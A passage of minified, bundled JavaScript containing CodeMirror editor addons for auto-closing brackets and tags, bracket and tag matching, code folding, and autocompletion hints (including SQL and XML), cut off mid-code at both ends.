if(!p&&r||w!=d)if(p&&v.ch>1&&n.indexOf(d)>=0&&c.getRange(o(v.line,v.ch-2),v)==d+d&&(v.ch<=2||c.getRange(o(v.line,v.ch-3),o(v.line,v.ch-2))!=d))t="addFour";else if(p){if(a.isWordChar(w)||!l(c,v,d))return a.Pass;t="both"}else{if(!r||c.getLine(v.line).length!=v.ch&&!j(w,g)&&!/\s/.test(w))return a.Pass;t="both"}else t=p&&m(c,v)?"both":n.indexOf(d)>=0&&c.getRange(v,o(v.line,v.ch+3))==d+d+d?"skipThree":"skip";if(k){if(k!=t)return a.Pass}else k=t}var x=i%2?g.charAt(i-1):d,y=i%2?d:g.charAt(i+1);c.operation(function(){if("skip"==k)c.execCommand("goCharRight");else if("skipThree"==k)for(var a=0;a<3;a++)c.execCommand("goCharRight");else if("surround"==k){for(var b=c.getSelections(),a=0;a<b.length;a++)b[a]=x+b[a]+y;c.replaceSelections(b,"around"),b=c.listSelections().slice();for(var a=0;a<b.length;a++)b[a]=h(b[a]);c.setSelections(b)}else"both"==k?(c.replaceSelection(x+y,null),c.triggerElectric(x+y),c.execCommand("goCharLeft")):"addFour"==k&&(c.replaceSelection(x+x+x+x,"before"),c.execCommand("goCharRight"))})}function j(a,b){var c=b.lastIndexOf(a);return c>-1&&c%2==1}function k(a,b){var c=a.getRange(o(b.line,b.ch-1),o(b.line,b.ch+1));return 2==c.length?c:null}function l(b,c,d){var e=b.getLine(c.line),f=b.getTokenAt(c);if(/\bstring2?\b/.test(f.type)||m(b,c))return!1;var g=new a.StringStream(e.slice(0,c.ch)+d+e.slice(c.ch),4);for(g.pos=g.start=f.start;;){var h=b.getMode().token(g,f.state);if(g.pos>=c.ch+1)return/\bstring2?\b/.test(h);g.start=g.pos}}function m(a,b){var c=a.getTokenAt(o(b.line,b.ch+1));return/\bstring/.test(c.type)&&c.start==b.ch}var n={pairs:"()[]{}''\"\"",triples:"",explode:"[]{}"},o=a.Pos;a.defineOption("autoCloseBrackets",!1,function(d,e,f){f&&f!=a.Init&&(d.removeKeyMap(p),d.state.closeBrackets=null),e&&(c(b(e,"pairs")),d.state.closeBrackets=e,d.addKeyMap(p))});var p={Backspace:f,Enter:g};c(n.pairs+"`")})},{"../../lib/codemirror":59}],10:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("../fold/xml-fold")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],d):d(CodeMirror)}(function(a){function b(b){if(b.getOption("disableInput"))return a.Pass;for(var c=b.listSelections(),d=[],i=0;i<c.length;i++){if(!c[i].empty())return a.Pass;var j=c[i].head,k=b.getTokenAt(j),l=a.innerMode(b.getMode(),k.state),m=l.state;if("xml"!=l.mode.name||!m.tagName)return a.Pass;var n=b.getOption("autoCloseTags"),o="html"==l.mode.configuration,p="object"==typeof n&&n.dontCloseTags||o&&g,q="object"==typeof n&&n.indentTags||o&&h,r=m.tagName;k.end>j.ch&&(r=r.slice(0,r.length-k.end+j.ch));var s=r.toLowerCase();if(!r||"string"==k.type&&(k.end!=j.ch||!/[\"\']/.test(k.string.charAt(k.string.length-1))||1==k.string.length)||"tag"==k.type&&"closeTag"==m.type||k.string.indexOf("/")==k.string.length-1||p&&e(p,s)>-1||f(b,r,j,m,!0))return a.Pass;var t=q&&e(q,s)>-1;d[i]={indent:t,text:">"+(t?"\n\n":"")+"</"+r+">",newPos:t?a.Pos(j.line+1,0):a.Pos(j.line,j.ch+1)}}for(var i=c.length-1;i>=0;i--){var u=d[i];b.replaceRange(u.text,c[i].head,c[i].anchor,"+insert");var v=b.listSelections().slice(0);v[i]={head:u.newPos,anchor:u.newPos},b.setSelections(v),u.indent&&(b.indentLine(u.newPos.line,null,!0),b.indentLine(u.newPos.line+1,null,!0))}}function c(b,c){for(var d=b.listSelections(),e=[],g=c?"/":"</",h=0;h<d.length;h++){if(!d[h].empty())return a.Pass;var i=d[h].head,j=b.getTokenAt(i),k=a.innerMode(b.getMode(),j.state),l=k.state;if(c&&("string"==j.type||"<"!=j.string.charAt(0)||j.start!=i.ch-1))return a.Pass;var m;if("xml"!=k.mode.name)if("htmlmixed"==b.getMode().name&&"javascript"==k.mode.name)m=g+"script";else{if("htmlmixed"!=b.getMode().name||"css"!=k.mode.name)return a.Pass;m=g+"style"}else{if(!l.context||!l.context.tagName||f(b,l.context.tagName,i,l))return a.Pass;m=g+l.context.tagName}">"!=b.getLine(i.line).charAt(j.end)&&(m+=">"),e[h]=m}b.replaceSelections(e),d=b.listSelections();for(var h=0;h<d.length;h++)(h==d.length-1||d[h].head.line<d[h+1].head.line)&&b.indentLine(d[h].head.line)}function d(b){return b.getOption("disableInput")?a.Pass:c(b,!0)}function e(a,b){if(a.indexOf)return a.indexOf(b);for(var c=0,d=a.length;c<d;++c)if(a[c]==b)return c;return-1}function f(b,c,d,e,f){if(!a.scanForClosingTag)return!1;var g=Math.min(b.lastLine()+1,d.line+500),h=a.scanForClosingTag(b,d,null,g);if(!h||h.tag!=c)return!1;for(var i=e.context,j=f?1:0;i&&i.tagName==c;i=i.prev)++j;d=h.to;for(var k=1;k<j;k++){var l=a.scanForClosingTag(b,d,null,g);if(!l||l.tag!=c)return!1;d=l.to}return!0}a.defineOption("autoCloseTags",!1,function(c,e,f){if(f!=a.Init&&f&&c.removeKeyMap("autoCloseTags"),e){var g={name:"autoCloseTags"};("object"!=typeof e||e.whenClosing)&&(g["'/'"]=function(a){return d(a)}),("object"!=typeof e||e.whenOpening)&&(g["'>'"]=function(a){return b(a)}),c.addKeyMap(g)}});var g=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],h=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"];a.commands.closeTag=function(a){return c(a)}})},{"../../lib/codemirror":59,"../fold/xml-fold":21}],11:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";var b=/^(\s*)(>[> ]*|[*+-] \[[x ]\]\s|[*+-]\s|(\d+)([.)]))(\s*)/,c=/^(\s*)(>[> ]*|[*+-] \[[x ]\]|[*+-]|(\d+)[.)])(\s*)$/,d=/[*+-]\s/;a.commands.newlineAndIndentContinueMarkdownList=function(e){if(e.getOption("disableInput"))return a.Pass;for(var f=e.listSelections(),g=[],h=0;h<f.length;h++){var i=f[h].head,j=e.getStateAfter(i.line),k=j.list!==!1,l=0!==j.quote,m=e.getLine(i.line),n=b.exec(m);if(!f[h].empty()||!k&&!l||!n)return void e.execCommand("newlineAndIndent");if(c.test(m))/>\s*$/.test(m)||e.replaceRange("",{line:i.line,ch:0},{line:i.line,ch:i.ch+1}),g[h]="\n";else{var o=n[1],p=n[5],q=d.test(n[2])||n[2].indexOf(">")>=0?n[2].replace("x"," "):parseInt(n[3],10)+1+n[4];g[h]="\n"+o+q+p}}e.replaceSelections(g)}})},{"../../lib/codemirror":59}],12:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){function b(a,b,d){var e=a.getLineHandle(b.line),f=b.ch-1,i=d&&d.afterCursor;null==i&&(i=/(^| )cm-fat-cursor($| )/.test(a.getWrapperElement().className));var j=!i&&f>=0&&h[e.text.charAt(f)]||h[e.text.charAt(++f)];if(!j)return null;var k=">"==j.charAt(1)?1:-1;if(d&&d.strict&&k>0!=(f==b.ch))return null;var l=a.getTokenTypeAt(g(b.line,f+1)),m=c(a,g(b.line,f+(k>0?1:0)),k,l||null,d);return null==m?null:{from:g(b.line,f),to:m&&m.pos,match:m&&m.ch==j.charAt(0),forward:k>0}}function c(a,b,c,d,e){for(var f=e&&e.maxScanLineLength||1e4,i=e&&e.maxScanLines||1e3,j=[],k=e&&e.bracketRegex?e.bracketRegex:/[(){}[\]]/,l=c>0?Math.min(b.line+i,a.lastLine()+1):Math.max(a.firstLine()-1,b.line-i),m=b.line;m!=l;m+=c){var n=a.getLine(m);if(n){var o=c>0?0:n.length-1,p=c>0?n.length:-1;if(!(n.length>f))for(m==b.line&&(o=b.ch-(c<0?1:0));o!=p;o+=c){var q=n.charAt(o);if(k.test(q)&&(void 0===d||a.getTokenTypeAt(g(m,o+1))==d)){var r=h[q];if(">"==r.charAt(1)==c>0)j.push(q);else{if(!j.length)return{pos:g(m,o),ch:q};j.pop()}}}}}return m-c!=(c>0?a.lastLine():a.firstLine())&&null}function d(a,c,d){for(var e=a.state.matchBrackets.maxHighlightLineLength||1e3,h=[],i=a.listSelections(),j=0;j<i.length;j++){var k=i[j].empty()&&b(a,i[j].head,d);if(k&&a.getLine(k.from.line).length<=e){var l=k.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";h.push(a.markText(k.from,g(k.from.line,k.from.ch+1),{className:l})),k.to&&a.getLine(k.to.line).length<=e&&h.push(a.markText(k.to,g(k.to.line,k.to.ch+1),{className:l}))}}if(h.length){f&&a.state.focused&&a.focus();var m=function(){a.operation(function(){for(var a=0;a<h.length;a++)h[a].clear()})};if(!c)return m;setTimeout(m,800)}}function e(a){a.operation(function(){i&&(i(),i=null),i=d(a,!1,a.state.matchBrackets)})}var f=/MSIE \d/.test(navigator.userAgent)&&(null==document.documentMode||document.documentMode<8),g=a.Pos,h={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<"},i=null;a.defineOption("matchBrackets",!1,function(b,c,d){d&&d!=a.Init&&(b.off("cursorActivity",e),i&&(i(),i=null)),c&&(b.state.matchBrackets="object"==typeof c?c:{},b.on("cursorActivity",e))}),a.defineExtension("matchBrackets",function(){d(this,!0)}),a.defineExtension("findMatchingBracket",function(a,c,d){return(d||"boolean"==typeof c)&&(d?(d.strict=c,c=d):c=c?{strict:!0}:null),b(this,a,c)}),a.defineExtension("scanForBracket",function(a,b,d,e){return c(this,a,b,d,e)})})},{"../../lib/codemirror":59}],13:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("../fold/xml-fold")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],d):d(CodeMirror)}(function(a){"use strict";function b(a){a.state.tagHit&&a.state.tagHit.clear(),a.state.tagOther&&a.state.tagOther.clear(),a.state.tagHit=a.state.tagOther=null}function c(c){c.state.failedTagMatch=!1,c.operation(function(){if(b(c),!c.somethingSelected()){var d=c.getCursor(),e=c.getViewport();e.from=Math.min(e.from,d.line),e.to=Math.max(d.line+1,e.to);var f=a.findMatchingTag(c,d,e);if(f){if(c.state.matchBothTags){var g="open"==f.at?f.open:f.close;g&&(c.state.tagHit=c.markText(g.from,g.to,{className:"CodeMirror-matchingtag"}))}var h="close"==f.at?f.open:f.close;h?c.state.tagOther=c.markText(h.from,h.to,{className:"CodeMirror-matchingtag"}):c.state.failedTagMatch=!0}}})}function d(a){a.state.failedTagMatch&&c(a)}a.defineOption("matchTags",!1,function(e,f,g){g&&g!=a.Init&&(e.off("cursorActivity",c),e.off("viewportChange",d),b(e)),f&&(e.state.matchBothTags="object"==typeof f&&f.bothTags,e.on("cursorActivity",c),e.on("viewportChange",d),c(e))}),a.commands.toMatchingTag=function(b){var c=a.findMatchingTag(b,b.getCursor());if(c){var d="close"==c.at?c.open:c.close;d&&b.extendSelection(d.to,d.from)}}})},{"../../lib/codemirror":59,"../fold/xml-fold":21}],14:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){a.defineOption("showTrailingSpace",!1,function(b,c,d){d==a.Init&&(d=!1),d&&!c?b.removeOverlay("trailingspace"):!d&&c&&b.addOverlay({token:function(a){for(var b=a.string.length,c=b;c&&/\s/.test(a.string.charAt(c-1));--c);return c>a.pos?(a.pos=c,null):(a.pos=b,"trailingspace")},name:"trailingspace"})})})},{"../../lib/codemirror":59}],15:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";a.registerHelper("fold","brace",function(b,c){function d(d){for(var h=c.ch,i=0;;){var j=h<=0?-1:g.lastIndexOf(d,h-1);if(j!=-1){if(1==i&&j<c.ch)break;if(e=b.getTokenTypeAt(a.Pos(f,j+1)),!/^(comment|string)/.test(e))return j+1;h=j-1}else{if(1==i)break;i=1,h=g.length}}}var e,f=c.line,g=b.getLine(f),h="{",i="}",j=d("{");if(null==j&&(h="[",i="]",j=d("[")),null!=j){var k,l,m=1,n=b.lastLine();a:for(var o=f;o<=n;++o)for(var p=b.getLine(o),q=o==f?j:0;;){var r=p.indexOf(h,q),s=p.indexOf(i,q);if(r<0&&(r=p.length),s<0&&(s=p.length),q=Math.min(r,s),q==p.length)break;if(b.getTokenTypeAt(a.Pos(o,q+1))==e)if(q==r)++m;else if(!--m){k=o,l=q;break a}++q}if(null!=k&&(f!=k||l!=j))return{from:a.Pos(f,j),to:a.Pos(k,l)}}}),a.registerHelper("fold","import",function(b,c){function d(c){if(c<b.firstLine()||c>b.lastLine())return null;var d=b.getTokenAt(a.Pos(c,1));if(/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"keyword"!=d.type||"import"!=d.string)return null;for(var e=c,f=Math.min(b.lastLine(),c+10);e<=f;++e){var g=b.getLine(e),h=g.indexOf(";");if(h!=-1)return{startCh:d.end,end:a.Pos(e,h)}}}var e,f=c.line,g=d(f);if(!g||d(f-1)||(e=d(f-2))&&e.end.line==f-1)return null;for(var h=g.end;;){var i=d(h.line+1);if(null==i)break;h=i.end}return{from:b.clipPos(a.Pos(f,g.startCh+1)),to:h}}),a.registerHelper("fold","include",function(b,c){function d(c){if(c<b.firstLine()||c>b.lastLine())return null;var d=b.getTokenAt(a.Pos(c,1));return/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"meta"==d.type&&"#include"==d.string.slice(0,8)?d.start+8:void 0}var e=c.line,f=d(e);if(null==f||null!=d(e-1))return null;for(var g=e;;){var h=d(g+1);if(null==h)break;++g}return{from:a.Pos(e,f+1),to:b.clipPos(a.Pos(g))}})})},{"../../lib/codemirror":59}],16:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";a.registerGlobalHelper("fold","comment",function(a){return a.blockCommentStart&&a.blockCommentEnd},function(b,c){var d=b.getModeAt(c),e=d.blockCommentStart,f=d.blockCommentEnd;if(e&&f){for(var g,h=c.line,i=b.getLine(h),j=c.ch,k=0;;){var l=j<=0?-1:i.lastIndexOf(e,j-1);if(l!=-1){if(1==k&&l<c.ch)return;if(/comment/.test(b.getTokenTypeAt(a.Pos(h,l+1)))&&(0==l||i.slice(l-f.length,l)==f||!/comment/.test(b.getTokenTypeAt(a.Pos(h,l))))){g=l+e.length;break}j=l-1}else{if(1==k)return;k=1,j=i.length}}var m,n,o=1,p=b.lastLine();a:for(var q=h;q<=p;++q)for(var r=b.getLine(q),s=q==h?g:0;;){var t=r.indexOf(e,s),u=r.indexOf(f,s);if(t<0&&(t=r.length),u<0&&(u=r.length),s=Math.min(t,u),s==r.length)break;if(s==t)++o;else if(!--o){m=q,n=s;break a}++s}if(null!=m&&(h!=m||n!=g))return{from:a.Pos(h,g),to:a.Pos(m,n)}}})})},{"../../lib/codemirror":59}],17:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b,e,f,g){function h(a){var c=i(b,e);if(!c||c.to.line-c.from.line<j)return null;for(var d=b.findMarksAt(c.from),f=0;f<d.length;++f)if(d[f].__isFold&&"fold"!==g){if(!a)return null;c.cleared=!0,d[f].clear()}return c}if(f&&f.call){var i=f;f=null}else var i=d(b,f,"rangeFinder");"number"==typeof e&&(e=a.Pos(e,0));var j=d(b,f,"minFoldSize"),k=h(!0);if(d(b,f,"scanUp"))for(;!k&&e.line>b.firstLine();)e=a.Pos(e.line-1,0),k=h(!1);if(k&&!k.cleared&&"unfold"!==g){var l=c(b,f);a.on(l,"mousedown",function(b){m.clear(),a.e_preventDefault(b)});var m=b.markText(k.from,k.to,{replacedWith:l,clearOnEnter:d(b,f,"clearOnEnter"),__isFold:!0});m.on("clear",function(c,d){a.signal(b,"unfold",b,c,d)}),a.signal(b,"fold",b,k.from,k.to)}}function c(a,b){var c=d(a,b,"widget");if("string"==typeof c){var e=document.createTextNode(c);c=document.createElement("span"),c.appendChild(e),c.className="CodeMirror-foldmarker"}else c&&(c=c.cloneNode(!0));return c}function d(a,b,c){if(b&&void 0!==b[c])return b[c];var d=a.options.foldOptions;return d&&void 0!==d[c]?d[c]:e[c]}a.newFoldFunction=function(a,c){return function(d,e){b(d,e,{rangeFinder:a,
+widget:c})}},a.defineExtension("foldCode",function(a,c,d){b(this,a,c,d)}),a.defineExtension("isFolded",function(a){for(var b=this.findMarksAt(a),c=0;c<b.length;++c)if(b[c].__isFold)return!0}),a.commands.toggleFold=function(a){a.foldCode(a.getCursor())},a.commands.fold=function(a){a.foldCode(a.getCursor(),null,"fold")},a.commands.unfold=function(a){a.foldCode(a.getCursor(),null,"unfold")},a.commands.foldAll=function(b){b.operation(function(){for(var c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"fold")})},a.commands.unfoldAll=function(b){b.operation(function(){for(var c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"unfold")})},a.registerHelper("fold","combine",function(){var a=Array.prototype.slice.call(arguments,0);return function(b,c){for(var d=0;d<a.length;++d){var e=a[d](b,c);if(e)return e}}}),a.registerHelper("fold","auto",function(a,b){for(var c=a.getHelpers(b,"fold"),d=0;d<c.length;d++){var e=c[d](a,b);if(e)return e}});var e={rangeFinder:a.fold.auto,widget:"\u2194",minFoldSize:0,scanUp:!1,clearOnEnter:!0};a.defineOption("foldOptions",null),a.defineExtension("foldOption",function(a,b){return d(this,a,b)})})},{"../../lib/codemirror":59}],18:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("./foldcode")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./foldcode"],d):d(CodeMirror)}(function(a){"use strict";function b(a){this.options=a,this.from=this.to=0}function c(a){return a===!0&&(a={}),null==a.gutter&&(a.gutter="CodeMirror-foldgutter"),null==a.indicatorOpen&&(a.indicatorOpen="CodeMirror-foldgutter-open"),null==a.indicatorFolded&&(a.indicatorFolded="CodeMirror-foldgutter-folded"),a}function d(a,b){for(var c=a.findMarks(l(b,0),l(b+1,0)),d=0;d<c.length;++d)if(c[d].__isFold&&c[d].find().from.line==b)return c[d]}function e(a){if("string"==typeof a){var b=document.createElement("div");return b.className=a+" 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g(a,b){for(;b&&b!=a;){if("LI"===b.nodeName.toUpperCase()&&b.parentNode==a)return b;b=b.parentNode}}function h(b,c){this.completion=b,this.data=c,this.picked=!1;var d=this,h=b.cm,i=this.hints=document.createElement("ul");i.className="CodeMirror-hints",this.selectedHint=c.selectedHint||0;for(var j=c.list,k=0;k<j.length;++k){var n=i.appendChild(document.createElement("li")),o=j[k],p=l+(k!=this.selectedHint?"":" "+m);null!=o.className&&(p=o.className+" "+p),n.className=p,o.render?o.render(n,c,o):n.appendChild(document.createTextNode(o.displayText||e(o))),n.hintId=k}var q=h.cursorCoords(b.options.alignWithWord?c.from:null),r=q.left,s=q.bottom,t=!0;i.style.left=r+"px",i.style.top=s+"px";var u=window.innerWidth||Math.max(document.body.offsetWidth,document.documentElement.offsetWidth),v=window.innerHeight||Math.max(document.body.offsetHeight,document.documentElement.offsetHeight);(b.options.container||document.body).appendChild(i);var w=i.getBoundingClientRect(),x=w.bottom-v,y=i.scrollHeight>i.clientHeight+1,z=h.getScrollInfo();if(x>0){var A=w.bottom-w.top,B=q.top-(q.bottom-w.top);if(B-A>0)i.style.top=(s=q.top-A)+"px",t=!1;else if(A>v){i.style.height=v-5+"px",i.style.top=(s=q.bottom-w.top)+"px";var C=h.getCursor();c.from.ch!=C.ch&&(q=h.cursorCoords(C),i.style.left=(r=q.left)+"px",w=i.getBoundingClientRect())}}var D=w.right-u;if(D>0&&(w.right-w.left>u&&(i.style.width=u-5+"px",D-=w.right-w.left-u),i.style.left=(r=q.left-D)+"px"),y)for(var E=i.firstChild;E;E=E.nextSibling)E.style.paddingRight=h.display.nativeBarWidth+"px";if(h.addKeyMap(this.keyMap=f(b,{moveFocus:function(a,b){d.changeActive(d.selectedHint+a,b)},setFocus:function(a){d.changeActive(a)},menuSize:function(){return d.screenAmount()},length:j.length,close:function(){b.close()},pick:function(){d.pick()},data:c})),b.options.closeOnUnfocus){var F;h.on("blur",this.onBlur=function(){F=setTimeout(function(){b.close()},100)}),h.on("focus",this.onFocus=function(){clearTimeout(F)})}return h.on("scroll",this.onScroll=function(){var a=h.getScrollInfo(),c=h.getWrapperElement().getBoundingClientRect(),d=s+z.top-a.top,e=d-(window.pageYOffset||(document.documentElement||document.body).scrollTop);return t||(e+=i.offsetHeight),e<=c.top||e>=c.bottom?b.close():(i.style.top=d+"px",void(i.style.left=r+z.left-a.left+"px"))}),a.on(i,"dblclick",function(a){var b=g(i,a.target||a.srcElement);b&&null!=b.hintId&&(d.changeActive(b.hintId),d.pick())}),a.on(i,"click",function(a){var c=g(i,a.target||a.srcElement);c&&null!=c.hintId&&(d.changeActive(c.hintId),b.options.completeOnSingleClick&&d.pick())}),a.on(i,"mousedown",function(){setTimeout(function(){h.focus()},20)}),a.signal(c,"select",j[this.selectedHint],i.childNodes[this.selectedHint]),!0}function i(a,b){if(!a.somethingSelected())return b;for(var c=[],d=0;d<b.length;d++)b[d].supportsSelection&&c.push(b[d]);return c}function j(a,b,c,d){if(a.async)a(b,d,c);else{var e=a(b,c);e&&e.then?e.then(d):d(e)}}function k(b,c){var d,e=b.getHelpers(c,"hint");if(e.length){var f=function(a,b,c){function d(e){return e==f.length?b(null):void j(f[e],a,c,function(a){a&&a.list.length>0?b(a):d(e+1)})}var f=i(a,e);d(0)};return f.async=!0,f.supportsSelection=!0,f}return(d=b.getHelper(b.getCursor(),"hintWords"))?function(b){return a.hint.fromList(b,{words:d})}:a.hint.anyword?function(b,c){return a.hint.anyword(b,c)}:function(){}}var l="CodeMirror-hint",m="CodeMirror-hint-active";a.showHint=function(a,b,c){if(!b)return a.showHint(c);c&&c.async&&(b.async=!0);var d={hint:b};if(c)for(var e in c)d[e]=c[e];return a.showHint(d)},a.defineExtension("showHint",function(c){c=d(this,this.getCursor("start"),c);var e=this.listSelections();if(!(e.length>1)){if(this.somethingSelected()){if(!c.hint.supportsSelection)return;for(var f=0;f<e.length;f++)if(e[f].head.line!=e[f].anchor.line)return}this.state.completionActive&&this.state.completionActive.close();var g=this.state.completionActive=new b(this,c);g.options.hint&&(a.signal(this,"startCompletion",this),g.update(!0))}});var n=window.requestAnimationFrame||function(a){return setTimeout(a,1e3/60)},o=window.cancelAnimationFrame||clearTimeout;b.prototype={close:function(){this.active()&&(this.cm.state.completionActive=null,this.tick=null,this.cm.off("cursorActivity",this.activityFunc),this.widget&&this.data&&a.signal(this.data,"close"),this.widget&&this.widget.close(),a.signal(this.cm,"endCompletion",this.cm))},active:function(){return this.cm.state.completionActive==this},pick:function(b,c){var d=b.list[c];d.hint?d.hint(this.cm,b,d):this.cm.replaceRange(e(d),d.from||b.from,d.to||b.to,"complete"),a.signal(b,"pick",d),this.close()},cursorActivity:function(){this.debounce&&(o(this.debounce),this.debounce=0);var a=this.cm.getCursor(),b=this.cm.getLine(a.line);if(a.line!=this.startPos.line||b.length-a.ch!=this.startLen-this.startPos.ch||a.ch<this.startPos.ch||this.cm.somethingSelected()||a.ch&&this.options.closeCharacters.test(b.charAt(a.ch-1)))this.close();else{var c=this;this.debounce=n(function(){c.update()}),this.widget&&this.widget.disable()}},update:function(a){if(null!=this.tick){var b=this,c=++this.tick;j(this.options.hint,this.cm,this.options,function(d){b.tick==c&&b.finishUpdate(d,a)})}},finishUpdate:function(b,d){this.data&&a.signal(this.data,"update");var e=this.widget&&this.widget.picked||d&&this.options.completeSingle;this.widget&&this.widget.close(),b&&this.data&&c(this.data,b)||(this.data=b,b&&b.list.length&&(e&&1==b.list.length?this.pick(b,0):(this.widget=new h(this,b),a.signal(b,"shown"))))}},h.prototype={close:function(){if(this.completion.widget==this){this.completion.widget=null,this.hints.parentNode.removeChild(this.hints),this.completion.cm.removeKeyMap(this.keyMap);var a=this.completion.cm;this.completion.options.closeOnUnfocus&&(a.off("blur",this.onBlur),a.off("focus",this.onFocus)),a.off("scroll",this.onScroll)}},disable:function(){this.completion.cm.removeKeyMap(this.keyMap);var a=this;this.keyMap={Enter:function(){a.picked=!0}},this.completion.cm.addKeyMap(this.keyMap)},pick:function(){this.completion.pick(this.data,this.selectedHint)},changeActive:function(b,c){if(b>=this.data.list.length?b=c?this.data.list.length-1:0:b<0&&(b=c?0:this.data.list.length-1),this.selectedHint!=b){var d=this.hints.childNodes[this.selectedHint];d.className=d.className.replace(" "+m,""),d=this.hints.childNodes[this.selectedHint=b],d.className+=" "+m,d.offsetTop<this.hints.scrollTop?this.hints.scrollTop=d.offsetTop-3:d.offsetTop+d.offsetHeight>this.hints.scrollTop+this.hints.clientHeight&&(this.hints.scrollTop=d.offsetTop+d.offsetHeight-this.hints.clientHeight+3),a.signal(this.data,"select",this.data.list[this.selectedHint],d)}},screenAmount:function(){return Math.floor(this.hints.clientHeight/this.hints.firstChild.offsetHeight)||1}},a.registerHelper("hint","auto",{resolve:k}),a.registerHelper("hint","fromList",function(b,c){var d=b.getCursor(),e=b.getTokenAt(d),f=a.Pos(d.line,e.end);if(e.string&&/\w/.test(e.string[e.string.length-1]))var g=e.string,h=a.Pos(d.line,e.start);else var g="",h=f;for(var i=[],j=0;j<c.words.length;j++){var k=c.words[j];k.slice(0,g.length)==g&&i.push(k)}if(i.length)return{list:i,from:h,to:f}}),a.commands.autocomplete=a.showHint;var p={hint:a.hint.auto,completeSingle:!0,alignWithWord:!0,closeCharacters:/[\s()\[\]{};:>,]/,closeOnUnfocus:!0,completeOnSingleClick:!0,container:null,customKeys:null,extraKeys:null};a.defineOption("hintOptions",null)})},{"../../lib/codemirror":59}],27:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("../../mode/sql/sql")):"function"==typeof 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q,r,s,t,u={QUERY_DIV:";",ALIAS_KEYWORD:"AS"},v=a.Pos,w=a.cmpPos;a.registerHelper("hint","sql",function(a,b){q=g(b&&b.tables);var e=b&&b.defaultTable,f=b&&b.disableKeywords;r=e&&h(e),s=c(a),t=d(a),e&&!r&&(r=p(e,a)),r=r||[],r.columns&&(r=r.columns);var i,j,l,m=a.getCursor(),o=[],u=a.getTokenAt(m);return u.end>m.ch&&(u.end=m.ch,u.string=u.string.slice(0,m.ch-u.start)),u.string.match(/^[.`"\w@]\w*$/)?(l=u.string,i=u.start,j=u.end):(i=j=m.ch,l=""),"."==l.charAt(0)||l.charAt(0)==t?i=n(m,u,o,a):(k(o,l,q,function(a){return a}),k(o,l,r,function(a){return a}),f||k(o,l,s,function(a){return a.toUpperCase()})),{list:o,from:v(m.line,i),to:v(m.line,j)}})})},{"../../lib/codemirror":59,"../../mode/sql/sql":74}],28:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b,d){var e=d&&d.schemaInfo,f=d&&d.quoteChar||'"';if(e){var g=b.getCursor(),h=b.getTokenAt(g);h.end>g.ch&&(h.end=g.ch,h.string=h.string.slice(0,g.ch-h.start));var i=a.innerMode(b.getMode(),h.state);if("xml"==i.mode.name){var j,k,l=[],m=!1,n=/\btag\b/.test(h.type)&&!/>$/.test(h.string),o=n&&/^\w/.test(h.string);if(o){var p=b.getLine(g.line).slice(Math.max(0,h.start-2),h.start),q=/<\/$/.test(p)?"close":/<$/.test(p)?"open":null;q&&(k=h.start-("close"==q?2:1))}else n&&"<"==h.string?q="open":n&&"</"==h.string&&(q="close");if(!n&&!i.state.tagName||q){o&&(j=h.string),m=q;var r=i.state.context,s=r&&e[r.tagName],t=r?s&&s.children:e["!top"];if(t&&"close"!=q)for(var u=0;u<t.length;++u)j&&0!=t[u].lastIndexOf(j,0)||l.push("<"+t[u]);else if("close"!=q)for(var v in e)!e.hasOwnProperty(v)||"!top"==v||"!attrs"==v||j&&0!=v.lastIndexOf(j,0)||l.push("<"+v);r&&(!j||"close"==q&&0==r.tagName.lastIndexOf(j,0))&&l.push("</"+r.tagName+">")}else{var s=e[i.state.tagName],w=s&&s.attrs,x=e["!attrs"];if(!w&&!x)return;if(w){if(x){var y={};for(var z in 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k=1/0,h=e.string,l=0;l<d.length;++l){var m=d[l],i=c(h,m.open,e.pos);if(i==e.pos)return m.parseDelimiters||e.match(m.open),f.innerActive=m,f.inner=a.startState(m.mode,b.indent?b.indent(f.outer,""):0),m.delimStyle&&m.delimStyle+" "+m.delimStyle+"-open";i!=-1&&i<k&&(k=i)}k!=1/0&&(e.string=h.slice(0,k));var n=b.token(e,f.outer);return 